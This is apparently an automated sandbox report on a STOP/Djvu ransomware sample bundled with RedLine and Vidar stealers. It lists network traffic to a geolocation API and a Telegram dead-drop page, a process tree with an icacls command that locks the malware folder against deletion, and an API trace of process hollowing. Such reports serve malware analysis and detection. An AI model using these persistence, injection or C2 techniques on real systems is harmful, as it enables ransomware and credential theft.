2024-01-10 14:49:01 UTC	893	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 14:49:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WgZFERlNoFuWX5F%2FZ01upsrOD74bey%2BRuCeUazd4oGeJmu8SiOT2oms4SaNiAE8ron2QKzdGVgCE4%2FIwpJhMobFRvEByl%2FIHuvLAikX8Q2J8Rf%2BZTHKH9VLhh12j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8435b965d8870a8b-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 14:49:01 UTC	433	IN	Data Raw: 31 61 61 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 63 6f 6c 75 6d 62 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 34 38 5c 75 30 34 33 38 5c 75 30 34 33 64 5c 75 30 34 33 33 5c 75 30 34 34 32 5c 75 30 34 33 65 5c 75 30 34 33 64 22 2c Data Ascii: 1aa{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d",
2024-01-10 14:49:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	149.154.167.99	443	7660	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 14:49:12 UTC	86	OUT	GET /bg3goty HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-01-10 14:49:12 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 10 Jan 2024 14:49:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12336 Connection: close Set-Cookie: stel_ssid=7f5dec52edd12daafc_4149685473721402314; expires=Thu, 11 Jan 2024 14:49:12 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-01-10 14:49:12 UTC	12336	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 62 67 33 67 6f 74 79 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @bg3goty</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.65.24	443	7732	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 14:49:14 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-10 14:49:14 UTC	918	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 10 Jan 2024 14:49:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=43aW9OBc8iFBFBenjfBtQs1N%2B%2BkQmtvWiy%2F6RGhLZdEORIQXzTMePZRmH9zTn064dEQQXDC3W6F%2Bx9qfIASnqF9loVB%2FF66WOAMmj0bnXGgR4gECZDQCD%2FEXhIIV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8435b9b7996d5764-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 14:49:14 UTC	451	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 64 63 62 34 62 39 62 30 61 63 39 63 65 65 62 35 61 63 66 32 62 31 62 39 65 33 61 66 61 39 62 65 62 36 62 39 62 66 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#dcb4b9b0ac9ceeb5acf2b1b9e3afa9beb6b9bf
2024-01-10 14:49:14 UTC	479	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 63 32 34 32 39 32 30 33 63 30 63 37 65 32 35 33 63 36 32 33 39 32 64 37 33 33 66 33 39 32 65 32 36 32 39 32 66 33 38 37 31 37 65 32 35 33 63 36 32 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#4c2429203c0c7e253c62392d733f392e26292f38717e253c62
2024-01-10 14:49:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49756	104.21.65.24	443	8080	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 14:49:20 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-10 14:49:20 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 10 Jan 2024 14:49:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=15oP7XMrFNEZUqxgHJP5tpuc%2BqYBbn%2FlClGu5q4UZFHTQquW1cicxy0GzBM%2Bxr1G3x3GcZ4wxN1BVTpy6rQ2BbEIRcTuPv6lUYxO2IGa7KBZJOaqR1L%2B%2FDjiigb0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8435b9deaa303970-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 14:49:20 UTC	453	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 31 63 39 63 34 63 64 64 31 65 31 39 33 63 38 64 31 38 66 63 63 63 34 39 65 64 32 64 34 63 33 63 62 63 34 63 32 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#a1c9c4cdd1e193c8d18fccc49ed2d4c3cbc4c2
2024-01-10 14:49:20 UTC	477	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 32 65 61 65 37 65 65 66 32 63 32 62 30 65 62 66 32 61 63 66 37 65 33 62 64 66 31 66 37 65 30 65 38 65 37 65 31 66 36 62 66 62 30 65 62 66 32 61 63 66 37 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#82eae7eef2c2b0ebf2acf7e3bdf1f7e0e8e7e1f6bfb0ebf2acf7
2024-01-10 14:49:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:48:56
Start date:	10/01/2024
Path:	C:\Users\user\Desktop\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\sbvN2ih5AU.exe
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1664626535.0000000002556000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:48:56
Start date:	10/01/2024
Path:	C:\Users\user\Desktop\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\sbvN2ih5AU.exe
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:48:57
Start date:	10/01/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x910000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:48:58
Start date:	10/01/2024
Path:	C:\Users\user\Desktop\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1688362361.000000000256B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:48:58
Start date:	10/01/2024
Path:	C:\Users\user\Desktop\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:48:59
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1693681111.0000000002545000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 86%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:48:59
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:49:10
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"
Imagebase:	0x400000
File size:	367'104 bytes
MD5 hash:	C4070DA9F9B0581171AF16E681CCDFF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1798985147.0000000000603000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:49:10
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"
Imagebase:	0x400000
File size:	367'104 bytes
MD5 hash:	C4070DA9F9B0581171AF16E681CCDFF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:49:10
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.1813074892.0000000000A95000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:49:10
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:49:18
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.1887388348.0000000002504000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:49:18
Start date:	10/01/2024
Path:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	2950CF3E600789B6045B872E19471B0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 026F0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 026F0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 026F016C
CreateProcessA.KERNELBASE(?,00000000), ref: 026F0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 026F0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 026F0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 026F029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026F02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 026F02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 026F0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 026F032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 026F0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026F03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 026F03E1
ResumeThread.KERNELBASE(00000000), ref: 026F03ED
ExitProcess.KERNEL32(00000000), ref: 026F0412

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: f13f60e8c58926e614ed86f55abfb4ffd670488b30d84ea72b1e75d59586b8bc
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: F3B1C674A00209AFDB44CF98C895F9EBBB5FF88314F248158E608AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 025567C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025567EE
Module32First.KERNEL32(00000000,00000224), ref: 0255680E

Memory Dump Source

Source File: 00000000.00000002.1664626535.0000000002556000.00000040.00000020.00020000.00000000.sdmp, Offset: 02556000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2556000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
